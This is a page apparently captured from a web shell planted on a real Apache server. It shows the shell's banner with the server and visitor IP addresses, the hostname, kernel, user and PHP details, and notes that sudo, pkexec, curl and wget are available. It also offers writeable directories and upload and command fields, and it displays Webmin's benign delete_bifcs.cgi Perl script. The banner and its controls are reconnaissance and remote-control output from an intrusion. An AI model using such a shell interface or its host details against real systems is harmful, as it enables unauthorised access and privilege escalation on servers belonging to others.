Private
Server IP : 195.201.23.43  /  Your IP : 18.190.219.146
Web Server : Apache
System : Linux webserver2.vercom.be 5.4.0-192-generic #212-Ubuntu SMP Fri Jul 5 09:47:39 UTC 2024 x86_64
User : kdecoratie ( 1041)
PHP Version : 7.1.33-63+ubuntu20.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin/net/delete_bifcs.cgi
#!/usr/bin/perl
# Delete some boot-time interfaces, and perhaps de-activate them too

require './net-lib.pl';
&ReadParse();
&error_setup($in{'apply'} ? $text{'dbifcs_err2'} : $text{'dbifcs_err'});
@d = split(/\0/, $in{'b'});
@d || &error($text{'daifcs_enone'});

# Do the deletes
@boot = &boot_interfaces();
@active = &active_interfaces();
foreach $d (reverse(@d)) {
	($b) = grep { $_->{'fullname'} eq $d } @boot;
	$b || &error($text{'daifcs_egone'});
	&can_iface($b) || &error($text{'ifcs_ecannot_this'});
	if ($in{'apply'}) {
		# Make this interface active
		&activate_interface($b);
		}
	else {
		# Deleting
		if ($in{'deleteapply'}) {
			# De-activate first
			($act) = grep { $_->{'fullname'} eq $b->{'fullname'} }
				      @active;
			if ($act) {
				if (defined(&unapply_interface)) {
					$err = &unapply_interface($act);
					$err && &error("<pre>$err</pre>");
					}
				else {
					&deactivate_interface($act);					
					if(&iface_type($b->{'name'}) eq 'Bonded'){
                                		if (($gconfig{'os_type'} eq 'debian-linux') && ($gconfig{'os_version'} >= 5)) {}
                               			else {&unload_module($b->{'name'});}
 					}
					}
				}
			}

		# Delete config
		&delete_interface($b);
		if(&iface_type($b->{'name'}) eq 'Bonded' &&
		   defined(&delete_module_def)){
			&delete_module_def($b->{'name'});	
 		}
		}
	}

&webmin_log($in{'apply'} ? "apply" : "delete", "bifcs", scalar(@d));
&redirect("list_ifcs.cgi?mode=boot");

Private